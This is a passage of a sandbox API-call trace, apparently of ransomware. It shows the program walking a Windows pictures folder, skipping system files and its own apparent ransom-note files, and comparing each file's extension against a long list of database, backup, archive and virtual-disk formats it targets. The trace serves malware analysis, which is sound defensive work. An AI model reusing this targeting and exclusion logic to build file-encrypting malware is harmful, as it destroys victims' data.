	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.904] lstrlenW (lpString="mdbhtml") returned 7
	[0035.904] lstrcmpiW (lpString1="eas.jpg", lpString2="mdbhtml") returned -1
	[0035.904] lstrlenW (lpString="mdn") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.904] lstrlenW (lpString="mdt") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.904] lstrlenW (lpString="mfd") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.904] lstrlenW (lpString="mpd") returned 3
	[0035.904] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.904] lstrlenW (lpString="mrg") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.905] lstrlenW (lpString="mud") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.905] lstrlenW (lpString="mwb") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.905] lstrlenW (lpString="myd") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.905] lstrlenW (lpString="ndf") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.905] lstrlenW (lpString="nnt") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.905] lstrlenW (lpString="nrmlib") returned 6
	[0035.905] lstrcmpiW (lpString1="as.jpg", lpString2="nrmlib") returned -1
	[0035.905] lstrlenW (lpString="ns2") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.905] lstrlenW (lpString="ns3") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.905] lstrlenW (lpString="ns4") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.905] lstrlenW (lpString="nsf") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.905] lstrlenW (lpString="nv") returned 2
	[0035.905] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.905] lstrlenW (lpString="nv2") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.905] lstrlenW (lpString="nwdb") returned 4
	[0035.905] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.905] lstrlenW (lpString="nyf") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.905] lstrlenW (lpString="odb") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.905] lstrlenW (lpString="odb") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.905] lstrlenW (lpString="oqy") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.905] lstrlenW (lpString="ora") returned 3
	[0035.905] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.905] lstrlenW (lpString="orx") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.906] lstrlenW (lpString="owc") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.906] lstrlenW (lpString="p96") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.906] lstrlenW (lpString="p97") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.906] lstrlenW (lpString="pan") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.906] lstrlenW (lpString="pdb") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.906] lstrlenW (lpString="pdm") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.906] lstrlenW (lpString="pnz") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.906] lstrlenW (lpString="qry") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.906] lstrlenW (lpString="qvd") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.906] lstrlenW (lpString="rbf") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.906] lstrlenW (lpString="rctd") returned 4
	[0035.906] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.906] lstrlenW (lpString="rod") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.906] lstrlenW (lpString="rodx") returned 4
	[0035.906] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.906] lstrlenW (lpString="rpd") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.906] lstrlenW (lpString="rsd") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.906] lstrlenW (lpString="sas7bdat") returned 8
	[0035.906] lstrcmpiW (lpString1="geas.jpg", lpString2="sas7bdat") returned -1
	[0035.906] lstrlenW (lpString="sbf") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.906] lstrlenW (lpString="scx") returned 3
	[0035.906] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.906] lstrlenW (lpString="sdb") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.907] lstrlenW (lpString="sdc") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.907] lstrlenW (lpString="sdf") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.907] lstrlenW (lpString="sis") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.907] lstrlenW (lpString="spq") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.907] lstrlenW (lpString="te") returned 2
	[0035.907] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.907] lstrlenW (lpString="teacher") returned 7
	[0035.907] lstrcmpiW (lpString1="eas.jpg", lpString2="teacher") returned -1
	[0035.907] lstrlenW (lpString="tmd") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.907] lstrlenW (lpString="tps") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.907] lstrlenW (lpString="trc") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.907] lstrlenW (lpString="trc") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.907] lstrlenW (lpString="trm") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.907] lstrlenW (lpString="udb") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.907] lstrlenW (lpString="udl") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.907] lstrlenW (lpString="usr") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.907] lstrlenW (lpString="v12") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.907] lstrlenW (lpString="vis") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.907] lstrlenW (lpString="vpd") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.907] lstrlenW (lpString="vvv") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.907] lstrlenW (lpString="wdb") returned 3
	[0035.907] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.908] lstrlenW (lpString="wmdb") returned 4
	[0035.908] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.908] lstrlenW (lpString="wrk") returned 3
	[0035.908] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.908] lstrlenW (lpString="xdb") returned 3
	[0035.908] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.908] lstrlenW (lpString="xld") returned 3
	[0035.908] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.908] lstrlenW (lpString="xmlff") returned 5
	[0035.908] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0035.908] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="..") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="windows") returned -1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="bootmgr") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="temp") returned -1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="pagefile.sys") returned -1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="boot") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="ids.txt") returned 1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="ntuser.dat") returned -1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="perflogs") returned -1
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="MSBuild") returned -1
	[0035.908] lstrlenW (lpString="Jellyfish.jpg") returned 13
	[0035.908] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned 55
	[0035.908] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Jellyfish.jpg" | out: lpString1="Jellyfish.jpg") returned="Jellyfish.jpg"
	[0035.908] lstrlenW (lpString="Jellyfish.jpg") returned 13
	[0035.908] lstrlenW (lpString="Apollon865") returned 10
	[0035.908] lstrcmpiW (lpString1="lyfish.jpg", lpString2="Apollon865") returned 1
	[0035.908] lstrlenW (lpString=".dll") returned 4
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".dll") returned 1
	[0035.908] lstrlenW (lpString=".lnk") returned 4
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".lnk") returned 1
	[0035.908] lstrlenW (lpString=".ini") returned 4
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".ini") returned 1
	[0035.908] lstrlenW (lpString=".sys") returned 4
	[0035.908] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".sys") returned 1
	[0035.908] lstrlenW (lpString="Jellyfish.jpg") returned 13
	[0035.909] lstrlenW (lpString="bak") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.909] lstrlenW (lpString="ba_") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.909] lstrlenW (lpString="dbb") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.909] lstrlenW (lpString="vmdk") returned 4
	[0035.909] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.909] lstrlenW (lpString="rar") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.909] lstrlenW (lpString="zip") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.909] lstrlenW (lpString="tgz") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.909] lstrlenW (lpString="vbox") returned 4
	[0035.909] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.909] lstrlenW (lpString="vdi") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.909] lstrlenW (lpString="vhd") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.909] lstrlenW (lpString="vhdx") returned 4
	[0035.909] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.909] lstrlenW (lpString="avhd") returned 4
	[0035.909] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.909] lstrlenW (lpString="db") returned 2
	[0035.909] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.909] lstrlenW (lpString="db2") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.909] lstrlenW (lpString="db3") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.909] lstrlenW (lpString="dbf") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.909] lstrlenW (lpString="mdf") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.909] lstrlenW (lpString="mdb") returned 3
	[0035.909] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.909] lstrlenW (lpString="sql") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.910] lstrlenW (lpString="sqlite") returned 6
	[0035.910] lstrcmpiW (lpString1="sh.jpg", lpString2="sqlite") returned -1
	[0035.910] lstrlenW (lpString="sqlite3") returned 7
	[0035.910] lstrcmpiW (lpString1="ish.jpg", lpString2="sqlite3") returned -1
	[0035.910] lstrlenW (lpString="sqlitedb") returned 8
	[0035.910] lstrcmpiW (lpString1="fish.jpg", lpString2="sqlitedb") returned -1
	[0035.910] lstrlenW (lpString="xml") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.910] lstrlenW (lpString="$er") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.910] lstrlenW (lpString="4dd") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.910] lstrlenW (lpString="4dl") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.910] lstrlenW (lpString="^^^") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.910] lstrlenW (lpString="abs") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.910] lstrlenW (lpString="abx") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.910] lstrlenW (lpString="accdb") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accdb") returned 1
	[0035.910] lstrlenW (lpString="accdc") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accdc") returned 1
	[0035.910] lstrlenW (lpString="accde") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accde") returned 1
	[0035.910] lstrlenW (lpString="accdr") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accdr") returned 1
	[0035.910] lstrlenW (lpString="accdt") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accdt") returned 1
	[0035.910] lstrlenW (lpString="accdw") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accdw") returned 1
	[0035.910] lstrlenW (lpString="accft") returned 5
	[0035.910] lstrcmpiW (lpString1="h.jpg", lpString2="accft") returned 1
	[0035.910] lstrlenW (lpString="adb") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.910] lstrlenW (lpString="adb") returned 3
	[0035.910] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.911] lstrlenW (lpString="ade") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.911] lstrlenW (lpString="adf") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.911] lstrlenW (lpString="adn") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.911] lstrlenW (lpString="adp") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.911] lstrlenW (lpString="alf") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.911] lstrlenW (lpString="ask") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.911] lstrlenW (lpString="btr") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.911] lstrlenW (lpString="cat") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.911] lstrlenW (lpString="cdb") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.911] lstrlenW (lpString="ckp") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.911] lstrlenW (lpString="cma") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.911] lstrlenW (lpString="cpd") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.911] lstrlenW (lpString="dacpac") returned 6
	[0035.911] lstrcmpiW (lpString1="sh.jpg", lpString2="dacpac") returned 1
	[0035.911] lstrlenW (lpString="dad") returned 3
	[0035.911] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.911] lstrlenW (lpString="dadiagrams") returned 10
	[0035.911] lstrcmpiW (lpString1="lyfish.jpg", lpString2="dadiagrams") returned 1
	[0035.911] lstrlenW (lpString="daschema") returned 8
	[0035.911] lstrcmpiW (lpString1="fish.jpg", lpString2="daschema") returned 1
	[0035.911] lstrlenW (lpString="db-journal") returned 10
	[0035.911] lstrcmpiW (lpString1="lyfish.jpg", lpString2="db-journal") returned 1
	[0035.911] lstrlenW (lpString="db-shm") returned 6
	[0035.911] lstrcmpiW (lpString1="sh.jpg", lpString2="db-shm") returned 1
	[0035.911] lstrlenW (lpString="db-wal") returned 6
	[0035.911] lstrcmpiW (lpString1="sh.jpg", lpString2="db-wal") returned 1
	[0035.911] lstrlenW (lpString="dbc") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.912] lstrlenW (lpString="dbs") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.912] lstrlenW (lpString="dbt") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.912] lstrlenW (lpString="dbv") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.912] lstrlenW (lpString="dbx") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.912] lstrlenW (lpString="dcb") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.912] lstrlenW (lpString="dct") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.912] lstrlenW (lpString="dcx") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.912] lstrlenW (lpString="ddl") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.912] lstrlenW (lpString="dlis") returned 4
	[0035.912] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.912] lstrlenW (lpString="dp1") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.912] lstrlenW (lpString="dqy") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.912] lstrlenW (lpString="dsk") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.912] lstrlenW (lpString="dsn") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.912] lstrlenW (lpString="dtsx") returned 4
	[0035.912] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.912] lstrlenW (lpString="dxl") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.912] lstrlenW (lpString="eco") returned 3
	[0035.912] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.912] lstrlenW (lpString="ecx") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.913] lstrlenW (lpString="edb") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.913] lstrlenW (lpString="epim") returned 4
	[0035.913] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.913] lstrlenW (lpString="fcd") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.913] lstrlenW (lpString="fdb") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.913] lstrlenW (lpString="fic") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.913] lstrlenW (lpString="flexolibrary") returned 12
	[0035.913] lstrcmpiW (lpString1="ellyfish.jpg", lpString2="flexolibrary") returned -1
	[0035.913] lstrlenW (lpString="fm5") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.913] lstrlenW (lpString="fmp") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.913] lstrlenW (lpString="fmp12") returned 5
	[0035.913] lstrcmpiW (lpString1="h.jpg", lpString2="fmp12") returned 1
	[0035.913] lstrlenW (lpString="fmpsl") returned 5
	[0035.913] lstrcmpiW (lpString1="h.jpg", lpString2="fmpsl") returned 1
	[0035.913] lstrlenW (lpString="fol") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.913] lstrlenW (lpString="fp3") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.913] lstrlenW (lpString="fp4") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.913] lstrlenW (lpString="fp5") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.913] lstrlenW (lpString="fp7") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.913] lstrlenW (lpString="fpt") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.913] lstrlenW (lpString="frm") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.913] lstrlenW (lpString="gdb") returned 3
	[0035.913] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.914] lstrlenW (lpString="gdb") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.914] lstrlenW (lpString="grdb") returned 4
	[0035.914] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.914] lstrlenW (lpString="gwi") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.914] lstrlenW (lpString="hdb") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.914] lstrlenW (lpString="his") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.914] lstrlenW (lpString="ib") returned 2
	[0035.914] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.914] lstrlenW (lpString="idb") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.914] lstrlenW (lpString="ihx") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.914] lstrlenW (lpString="itdb") returned 4
	[0035.914] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.914] lstrlenW (lpString="itw") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.914] lstrlenW (lpString="jet") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.914] lstrlenW (lpString="jtx") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.914] lstrlenW (lpString="kdb") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.914] lstrlenW (lpString="kexi") returned 4
	[0035.914] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.914] lstrlenW (lpString="kexic") returned 5
	[0035.914] lstrcmpiW (lpString1="h.jpg", lpString2="kexic") returned -1
	[0035.914] lstrlenW (lpString="kexis") returned 5
	[0035.914] lstrcmpiW (lpString1="h.jpg", lpString2="kexis") returned -1
	[0035.914] lstrlenW (lpString="lgc") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.914] lstrlenW (lpString="lwx") returned 3
	[0035.914] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.914] lstrlenW (lpString="maf") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.915] lstrlenW (lpString="maq") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.915] lstrlenW (lpString="mar") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.915] lstrlenW (lpString="marshal") returned 7
	[0035.915] lstrcmpiW (lpString1="ish.jpg", lpString2="marshal") returned -1
	[0035.915] lstrlenW (lpString="mas") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.915] lstrlenW (lpString="mav") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.915] lstrlenW (lpString="maw") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.915] lstrlenW (lpString="mdbhtml") returned 7
	[0035.915] lstrcmpiW (lpString1="ish.jpg", lpString2="mdbhtml") returned -1
	[0035.915] lstrlenW (lpString="mdn") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.915] lstrlenW (lpString="mdt") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.915] lstrlenW (lpString="mfd") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.915] lstrlenW (lpString="mpd") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.915] lstrlenW (lpString="mrg") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.915] lstrlenW (lpString="mud") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.915] lstrlenW (lpString="mwb") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.915] lstrlenW (lpString="myd") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.915] lstrlenW (lpString="ndf") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.915] lstrlenW (lpString="nnt") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.915] lstrlenW (lpString="nrmlib") returned 6
	[0035.915] lstrcmpiW (lpString1="sh.jpg", lpString2="nrmlib") returned 1
	[0035.915] lstrlenW (lpString="ns2") returned 3
	[0035.915] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.916] lstrlenW (lpString="ns3") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.916] lstrlenW (lpString="ns4") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.916] lstrlenW (lpString="nsf") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.916] lstrlenW (lpString="nv") returned 2
